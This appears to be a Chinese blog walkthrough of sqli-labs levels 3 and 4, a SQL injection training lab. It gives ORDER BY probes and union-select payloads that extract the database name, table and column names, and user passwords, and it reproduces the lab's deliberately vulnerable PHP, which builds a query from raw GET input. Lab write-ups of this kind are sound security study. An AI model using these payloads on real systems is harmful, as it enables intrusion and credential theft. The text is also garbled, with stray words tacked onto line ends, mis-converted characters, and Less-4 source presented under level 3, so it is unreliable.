經過第二關,來到第三關php
咱們用了前兩種方法,都報錯,而後本身也不太會別的注入,而後莫名的小知識又增長了。這竟然是一個帶括號的字符型注入,html
這裏咱們須要閉合前面的括號。mysql
$sql=select * from users where id=("$id");sql
但咱們傳入的id爲5')而後咱們的語句就變成了數組
並且頁面顯示正常,而後咱們就去判斷字段的列數,這個跟前三關應該是同樣的 ,咱們直接函數
pyload: ?id=5')order by 4--+fetch
而後判斷3的時候,沒有報錯,因而肯定列數爲3,具體爲何要肯定列數,在第一個wp中有提到,ui
http://www.javashuo.com/article/p-rleantdf-nu.html點擊這個就能夠看到關於聯合查詢的知識點了orm
咱們用聯合查詢,因此咱們要保證列數字段一致,若是不一致則會報錯。xml
下面咱們貼出源碼
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Less-4 Error Based- DoubleQuotes String</title> </head> <body bgcolor="#000000"> <div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">Welcome <font color="#FF0000"> Dhakkan </font><br> <font size="3" color="#FFFF00"> <?php //including the Mysql connect parameters. include("../sql-connections/sql-connect.php"); error_reporting(0); // take the variables if(isset($_GET['id'])) { $id=$_GET['id']; //logging the connection parameters to a file for analysis. $fp=fopen('result.txt','a'); fwrite($fp,'ID:'.$id."\n"); fclose($fp); // connectivity $id = '"' . $id . '"'; $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1"; $result=mysql_query($sql); $row = mysql_fetch_array($result);//函數從結果集中取得一行做爲關聯數組,或數字數組,或兩者兼有返回根據從結果集取得的行生成的數組,若是沒有更多行則返回 false
if($row) { echo "<font size='5' color= '#99FF00'>"; echo 'Your Login name:'. $row['username']; echo "<br>"; echo 'Your Password:' .$row['password']; echo "</font>"; } else { echo '<font color= "#FFFF00">'; print_r(mysql_error()); echo "</font>"; } } else { echo "Please input the ID as parameter with numeric value";} ?> </font> </div></br></br></br><center> <img src="../images/Less-4.jpg" /></center> </body> </html>
看源碼裏面的函數,我給了註釋,這就是爲何咱們要將id的值給-1,咱們須要將前面的數據便爲空集,而後咱們後面的數據就會呈現出來。
說完了這個,咱們接着下一步操做:
1. 爆庫名 ?id=-1') union select 1,2,database()--+
2. 爆表名 ?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
3. 爆字段 ?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
4. 爆數據 ?id=-1') union select 1,2,group_concat(0x5c,username,0x5c,password) from users--+
而後就查到了咱們想要的users表中的數據了。
以後咱們又來到了第四關,發現第四關只是將單引號變成了雙引號了,因此咱們
pyload:?id=5")--+
而後發現頁面正常顯示,沒有報錯,因而咱們用order by來判斷列數,步驟和第三題同樣。
但願能夠對讀者有幫助,不對的但願你們多多指正,你們共同進步。